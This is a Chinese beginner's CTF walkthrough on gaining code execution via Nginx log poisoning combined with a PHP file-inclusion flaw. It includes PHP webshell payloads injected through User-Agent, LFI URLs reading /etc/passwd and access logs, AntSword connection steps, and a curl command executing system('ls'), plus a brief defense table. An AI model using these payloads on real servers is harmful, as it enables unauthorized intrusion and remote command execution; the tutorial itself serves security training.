新手也能看懂的CTF靶场实战:利用Nginx日志注入拿Flag(附BurpSuite抓包步骤)
2026/6/12 4:53:14 网站建设 项目流程

新手也能看懂的CTF靶场实战:利用Nginx日志注入拿Flag(附BurpSuite抓包步骤)

想象一下,你刚拿到一台服务器的访客登记簿,不仅能查看访客记录,还能悄悄修改内容——这就是Nginx日志注入的精髓所在。本文将用最直白的语言,带你在CTF靶场中完成一次从漏洞发现到获取Flag的完整旅程,即使你昨天才听说"Web安全"这个词。

1. 环境侦察:认识你的"战场"

任何实战的第一步都是了解环境。打开靶场题目(假设为http://ctfshow.example.com/web4),你会看到一个看似普通的网页。别急着点按钮,先做这两件事:

  1. 安装Wappalyzer浏览器插件(Chrome/Firefox商店搜索即可)
  2. 点击插件图标,查看网站技术栈

你会看到类似这样的信息:

Web服务器: Nginx 1.18.0 编程语言: PHP 7.4.3

提示:Wappalyzer就像技术栈"X光机",能透视网站使用的技术组件

为什么这很重要?因为不同服务器的日志路径不同:

  • Apache日志通常位于/var/log/apache/access.log
  • Nginx日志则多在/var/log/nginx/access.log/var/log/nginx/error.log

2. 漏洞原理:为什么日志能变成"后门"

日志文件本应只记录访问信息,但当遇到以下两个条件时就会变得危险:

  1. 文件包含漏洞:网站存在类似?url=这样的参数能读取任意文件
  2. 日志记录未过滤:服务器把原始请求数据直接存入日志

组合起来就形成了"日志注入"攻击链:

恶意请求 → 日志记录原始数据 → 通过文件包含执行日志中的代码

举个生活化的例子:就像酒店前台把客人说的每句话(包括"请把备用钥匙给我")都记在本子上,而房间门锁恰好能用本子上的指令控制。

3. 实战操作:五步拿下Flag

3.1 第一步:确认文件包含漏洞

在URL后尝试添加参数:

http://ctfshow.example.com/web4?url=/etc/passwd

如果看到系统用户列表,说明存在文件包含。再测试日志路径:

http://ctfshow.example.com/web4?url=/var/log/nginx/access.log

成功看到日志内容?恭喜,漏洞存在!

3.2 第二步:BurpSuite拦截修改请求

  1. 启动BurpSuite,在Proxy → Options确认监听端口(默认8080)
  2. 浏览器设置代理为127.0.0.1:8080
  3. 访问靶场URL,在BurpSuite中捕获请求

右键选择"Send to Repeater"进入可反复修改的测试界面。

3.3 第三步:注入PHP代码

找到User-Agent请求头,修改为:

<?php system($_GET['cmd']); ?>

或者经典的一句话木马:

<?php eval($_POST['ant']); ?>

点击"Send"发送请求,此时代码已被写入日志。

3.4 第四步:验证代码执行

访问包含日志文件的URL:

http://ctfshow.example.com/web4?url=/var/log/nginx/access.log&cmd=id

如果看到系统返回用户ID信息,说明注入成功。

3.5 第五步:蚁剑连接获取Flag

  1. 下载安装蚁剑(开源Webshell管理工具)
  2. 新建连接,地址填写:
    http://ctfshow.example.com/web4?url=/var/log/nginx/access.log
  3. 连接密码填写POST参数名(前例中的ant
  4. 成功连接后,在服务器目录中搜索flag文件

4. 防御方案:如何避免成为受害者

作为开发者,应当采取以下措施:

防御层面具体措施
日志处理过滤特殊字符,禁用日志执行
文件包含限制包含路径,禁用远程包含
服务器配置设置open_basedir限制文件访问范围

作为CTF选手,要记住这不仅是攻击技术,更是理解防御思路的窗口。每次完成挑战后,不妨思考:"如果我是管理员,该怎么堵住这个漏洞?"

5. 常见问题排错指南

Q:修改User-Agent后访问日志还是没执行代码?A:检查三点:

  1. Nginx是否重启过(导致日志轮替)
  2. PHP短标签是否开启(建议用<?php ?>全写法)
  3. 文件包含参数是否URL编码

Q:蚁剑连接失败怎么办?A:尝试以下替代方案:

  1. 使用curl命令测试:
    curl -X POST -d "ant=system('ls');" "http://target.com/web4?url=/var/log/nginx/access.log"
  2. 换用其他Webshell工具如冰蝎

Q:为什么我的BurpSuite抓不到包?A:按这个顺序检查:

  1. 浏览器代理设置是否正确
  2. BurpSuite的拦截功能是否开启(Intercept是否on)
  3. 是否安装了BurpSuite的CA证书

记住,在真实CTF比赛中,路径可能被修改过。如果标准日志路径无效,可以尝试:

/var/log/nginx/error.log /usr/local/nginx/logs/access.log /proc/self/fd/2 (有时会指向错误日志)

最后分享一个实用技巧:在较新版本的Nginx中,可以尝试在请求头注入X-Forwarded-For字段,这个值通常也会被记录到日志中,作为备用注入点。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询